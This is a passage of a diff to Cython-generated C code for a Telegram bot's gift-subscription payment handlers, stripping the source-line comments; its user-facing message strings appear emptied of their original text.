<<<<<<<<<<<<<< - * " ." - * ), - */ __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_price, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_11 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_11) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_11; @@ -8348,26 +7476,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __Pyx_GIVEREF(__pyx_kp_u_b); PyTuple_SET_ITEM(__pyx_t_7, 6, __pyx_kp_u_b); - /* "handlers/payments/gift.py":190 - * await callback_query.message.answer( - * text=( - * f" :\n" # <<<<<<<<<<<<<< - * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''}\n" - * f": {price} \n\n" - */ __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_7, 7, __pyx_t_10, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 189, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":195 - * " ." - * ), - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * - */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = NULL; @@ -8395,13 +7509,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 189, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":188 - * ) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=( - * f" :\n" - */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -8427,13 +7534,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/gift.py":159 - * - * - * @router.callback_query(F.data.startswith("gift|")) # <<<<<<<<<<<<<< - * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): - * """ .""" - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -8459,13 +7559,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine } static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/gift.py":199 - * - * - * @router.callback_query(F.data.startswith("confirm_gift|")) # <<<<<<<<<<<<<< - * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): - * """ .""" - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_4gift_16finalize_gift_handler(PyObject *__pyx_self, @@ -8684,13 +7777,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 199, __pyx_L1_error) - /* "handlers/payments/gift.py":202 - * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): - * """ .""" - * selected_months = callback_query.data.split("|")[1] # <<<<<<<<<<<<<< - * price = RENEWAL_PRICES.get(selected_months, None) - * tg_id = callback_query.from_user.id - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L1_error) @@ -8725,13 +7811,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_selected_months = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/gift.py":203 - * """ .""" - * selected_months = callback_query.data.split("|")[1] - * price = RENEWAL_PRICES.get(selected_months, None) # <<<<<<<<<<<<<< - * tg_id = callback_query.from_user.id - * - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) @@ -8763,13 +7842,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_price = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/gift.py":204 - * selected_months = callback_query.data.split("|")[1] - * price = RENEWAL_PRICES.get(selected_months, None) - * tg_id = callback_query.from_user.id # <<<<<<<<<<<<<< - * - * if not price: - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 204, __pyx_L1_error) @@ -8779,24 +7851,10 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/gift.py":206 - * tg_id = callback_query.from_user.id - * - * if not price: # <<<<<<<<<<<<<< - * await callback_query.answer(" . .", show_alert=True) - * return - */ __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_price); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 206, __pyx_L1_error) __pyx_t_6 = (!__pyx_t_5); if (__pyx_t_6) { - /* "handlers/payments/gift.py":207 - * - * if not price: - * await callback_query.answer(" . .", show_alert=True) # <<<<<<<<<<<<<< - * return - * - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L1_error) @@ -8826,33 +7884,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine } } - /* "handlers/payments/gift.py":208 - * if not price: - * await callback_query.answer(" . .", show_alert=True) - * return # <<<<<<<<<<<<<< - * - * try: - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/gift.py":206 - * tg_id = callback_query.from_user.id - * - * if not price: # <<<<<<<<<<<<<< - * await callback_query.answer(" . .", show_alert=True) - * return - */ } - /* "handlers/payments/gift.py":210 - * return - * - * try: # <<<<<<<<<<<<<< - * await update_balance(tg_id, -price) - * - */ { __Pyx_ExceptionSave(&__pyx_t_7, &__pyx_t_8, &__pyx_t_9); __Pyx_XGOTREF(__pyx_t_7); @@ -8860,13 +7897,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __Pyx_XGOTREF(__pyx_t_9); /*try:*/ { - /* "handlers/payments/gift.py":211 - * - * try: - * await update_balance(tg_id, -price) # <<<<<<<<<<<<<< - * - * expiry_time = datetime.utcnow() + timedelta(days=int(selected_months) * 30) - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 211, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = PyNumber_Negative(__pyx_cur_scope->__pyx_v_price); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 211, __pyx_L6_error) @@ -8929,13 +7959,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine } } - /* "handlers/payments/gift.py":213 - * await update_balance(tg_id, -price) - * - * expiry_time = datetime.utcnow() + timedelta(days=int(selected_months) * 30) # <<<<<<<<<<<<<< - * - * gift_id = f"{uuid.uuid4().hex}" - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_datetime); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 213, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_utcnow); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 213, __pyx_L6_error) @@ -8986,13 +8009,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_expiry_time = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/gift.py":215 - * expiry_time = datetime.utcnow() + timedelta(days=int(selected_months) * 30) - * - * gift_id = f"{uuid.uuid4().hex}" # <<<<<<<<<<<<<< - * gift_link = get_gift_link(tg_id, gift_id) - * - */ __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_uuid); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 215, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 215, __pyx_L6_error) @@ -9030,13 +8046,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_gift_id = ((PyObject*)__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":216 - * - * gift_id = f"{uuid.uuid4().hex}" - * gift_link = get_gift_link(tg_id, gift_id) # <<<<<<<<<<<<<< - * - * logger.info(f" : {gift_link}") - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_get_gift_link); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 216, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_11 = NULL; @@ -9065,13 +8074,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_gift_link = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/gift.py":218 - * gift_link = get_gift_link(tg_id, gift_id) - * - * logger.info(f" : {gift_link}") # <<<<<<<<<<<<<< - * - * await store_gift_link(gift_id, tg_id, int(selected_months), expiry_time, gift_link, session) - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 218, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_info); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 218, __pyx_L6_error) @@ -9107,13 +8109,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":220 - * logger.info(f" : {gift_link}") - * - * await store_gift_link(gift_id, tg_id, int(selected_months), expiry_time, gift_link, session) # <<<<<<<<<<<<<< - * - * months_text = ( - */ __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_store_gift_link); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 220, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_selected_months); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 220, __pyx_L6_error) @@ -9176,13 +8171,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine } } - /* "handlers/payments/gift.py":223 - * - * months_text = ( - * "" if selected_months == "1" else "" if int(selected_months) in [2, 3, 4] else "" # <<<<<<<<<<<<<< - * ) - * message_text = GIFTS_TEXT_TEMPLATE.format( - */ __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_cur_scope->__pyx_v_selected_months, __pyx_kp_u_1, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 223, __pyx_L6_error) if (__pyx_t_6) { __Pyx_INCREF(__pyx_n_u__7); @@ -9221,46 +8209,18 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_months_text = ((PyObject*)__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":225 - * "" if selected_months == "1" else "" if int(selected_months) in [2, 3, 4] else "" - * ) - * message_text = GIFTS_TEXT_TEMPLATE.format( # <<<<<<<<<<<<<< - * months=selected_months, - * months_text=months_text, - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_GIFTS_TEXT_TEMPLATE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 225, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_format); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 225, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":226 - * ) - * message_text = GIFTS_TEXT_TEMPLATE.format( - * months=selected_months, # <<<<<<<<<<<<<< - * months_text=months_text, - * expiry_time=expiry_time.strftime("%d-%m-%Y %H:%M"), - */ __pyx_t_3 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 226, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_months, __pyx_cur_scope->__pyx_v_selected_months) < 0) __PYX_ERR(0, 226, __pyx_L6_error) - /* "handlers/payments/gift.py":227 - * message_text = GIFTS_TEXT_TEMPLATE.format( - * months=selected_months, - * months_text=months_text, # <<<<<<<<<<<<<< - * expiry_time=expiry_time.strftime("%d-%m-%Y %H:%M"), - * recipient=" ", - */ if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_months_text, __pyx_cur_scope->__pyx_v_months_text) < 0) __PYX_ERR(0, 226, __pyx_L6_error) - /* "handlers/payments/gift.py":228 - * months=selected_months, - * months_text=months_text, - * expiry_time=expiry_time.strftime("%d-%m-%Y %H:%M"), # <<<<<<<<<<<<<< - * recipient=" ", - * is_used="", - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_expiry_time, __pyx_n_s_strftime); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 228, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_10 = NULL; @@ -9290,22 +8250,8 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_recipient, __pyx_kp_u__12) < 0) __PYX_ERR(0, 226, __pyx_L6_error) if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_is_used, __pyx_n_u__11) < 0) __PYX_ERR(0, 226, __pyx_L6_error) - /* "handlers/payments/gift.py":231 - * recipient=" ", - * is_used="", - * gift_link=gift_link, # <<<<<<<<<<<<<< - * ) - * - */ if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_gift_link, __pyx_cur_scope->__pyx_v_gift_link) < 0) __PYX_ERR(0, 226, __pyx_L6_error) - /* "handlers/payments/gift.py":225 - * "" if selected_months == "1" else "" if int(selected_months) in [2, 3, 4] else "" - * ) - * message_text = GIFTS_TEXT_TEMPLATE.format( # <<<<<<<<<<<<<< - * months=selected_months, - * months_text=months_text, - */ __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 225, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -9314,13 +8260,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_message_text = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/gift.py":234 - * ) - * - * share_text = SHARE_TEXT_TEMPLATE.format(gift_link=gift_link) # <<<<<<<<<<<<<< - * - * - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_SHARE_TEXT_TEMPLATE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 234, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_format); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 234, __pyx_L6_error) @@ -9337,13 +8276,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_share_text = __pyx_t_11; __pyx_t_11 = 0; - /* "handlers/payments/gift.py":237 - * - * - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * builder.row( - * types.InlineKeyboardButton( - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 237, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; @@ -9372,36 +8304,15 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_builder = __pyx_t_11; __pyx_t_11 = 0; - /* "handlers/payments/gift.py":238 - * - * builder = InlineKeyboardBuilder() - * builder.row( # <<<<<<<<<<<<<< - * types.InlineKeyboardButton( - * text=SHARE_GIFT, - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 238, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); - /* "handlers/payments/gift.py":239 - * builder = InlineKeyboardBuilder() - * builder.row( - * types.InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=SHARE_GIFT, - * switch_inline_query=share_text - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 239, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 239, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":240 - * builder.row( - * types.InlineKeyboardButton( - * text=SHARE_GIFT, # <<<<<<<<<<<<<< - * switch_inline_query=share_text - * ) - */ __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 240, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_SHARE_GIFT); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 240, __pyx_L6_error) @@ -9409,22 +8320,8 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_10) < 0) __PYX_ERR(0, 240, __pyx_L6_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - /* "handlers/payments/gift.py":241 - * types.InlineKeyboardButton( - * text=SHARE_GIFT, - * switch_inline_query=share_text # <<<<<<<<<<<<<< - * ) - * ) - */ if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_switch_inline_query, __pyx_cur_scope->__pyx_v_share_text) < 0) __PYX_ERR(0, 240, __pyx_L6_error) - /* "handlers/payments/gift.py":239 - * builder = InlineKeyboardBuilder() - * builder.row( - * types.InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=SHARE_GIFT, - * switch_inline_query=share_text - */ __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 239, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -9454,13 +8351,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - /* "handlers/payments/gift.py":244 - * ) - * ) - * builder.row(types.InlineKeyboardButton(text=PROFILE, callback_data="profile")) # <<<<<<<<<<<<<< - * - * await callback_query.message.answer( - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 244, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_types); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 244, __pyx_L6_error) @@ -9504,26 +8394,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - /* "handlers/payments/gift.py":246 - * builder.row(types.InlineKeyboardButton(text=PROFILE, callback_data="profile")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=message_text, reply_markup=builder.as_markup(), parse_mode="HTML" - * ) - */ __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 246, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 246, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - /* "handlers/payments/gift.py":247 - * - * await callback_query.message.answer( - * text=message_text, reply_markup=builder.as_markup(), parse_mode="HTML" # <<<<<<<<<<<<<< - * ) - * - */ __pyx_t_11 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 247, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_message_text) < 0) __PYX_ERR(0, 247, __pyx_L6_error) @@ -9555,13 +8431,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_parse_mode, __pyx_n_u_HTML) < 0) __PYX_ERR(0, 247, __pyx_L6_error) - /* "handlers/payments/gift.py":246 - * builder.row(types.InlineKeyboardButton(text=PROFILE, callback_data="profile")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=message_text, reply_markup=builder.as_markup(), parse_mode="HTML" - * ) - */ __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 246, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -9601,13 +8470,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine } } - /* "handlers/payments/gift.py":210 - * return - * - * try: # <<<<<<<<<<<<<< - * await update_balance(tg_id, -price) - * - */ } __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; @@ -9620,13 +8482,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":250 - * ) - * - * except Exception as e: # <<<<<<<<<<<<<< - * await callback_query.message.answer(text=f" : {e}\n, .") - * - */ __pyx_t_13 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_13) { __Pyx_AddTraceback("handlers.payments.gift.finalize_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -9639,13 +8494,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_e = __pyx_t_11; /*try:*/ { - /* "handlers/payments/gift.py":251 - * - * except Exception as e: - * await callback_query.message.answer(text=f" : {e}\n, .") # <<<<<<<<<<<<<< - * - * - */ __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 251, __pyx_L23_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_answer); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 251, __pyx_L23_error) @@ -9734,13 +8582,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine } } - /* "handlers/payments/gift.py":250 - * ) - * - * except Exception as e: # <<<<<<<<<<<<<< - * await callback_query.message.answer(text=f" : {e}\n, .") - * - */ /*finally:*/ { /*normal exit:*/{ __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); @@ -9791,13 +8632,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine } goto __pyx_L8_except_error; - /* "handlers/payments/gift.py":210 - * return - * - * try: # <<<<<<<<<<<<<< - * await update_balance(tg_id, -price) - * - */ __pyx_L8_except_error:; __Pyx_XGIVEREF(__pyx_t_7); __Pyx_XGIVEREF(__pyx_t_8); @@ -9813,13 +8647,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/gift.py":199 - * - * - * @router.callback_query(F.data.startswith("confirm_gift|")) # <<<<<<<<<<<<<< - * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): - * """ .""" - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -9845,13 +8672,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine return __pyx_r; } -/* "handlers/payments/gift.py":255 - * - * - * def get_hardware_id(): # <<<<<<<<<<<<<< - * """ - * hardware-. - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_4gift_19get_hardware_id(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/ @@ -9899,13 +8719,6 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_18get_hardware_id(CYTHON_UNU int __pyx_clineno = 0; __Pyx_RefNannySetupContext("get_hardware_id", 1); - /* "handlers/payments/gift.py":259 - * hardware-. - * """ - * try: # <<<<<<<<<<<<<< - * if platform.system() == "Windows": - * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() - */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign @@ -9915,13 +8728,6 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_18get_hardware_id(CYTHON_UNU __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { - /* "handlers/payments/gift.py":260 - * """ - * try: - * if platform.system() == "Windows": # <<<<<<<<<<<<<< - * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() - * else: - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_platform); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 260, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_system); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 260, __pyx_L3_error) @@ -9953,13 +8759,6 @@ static 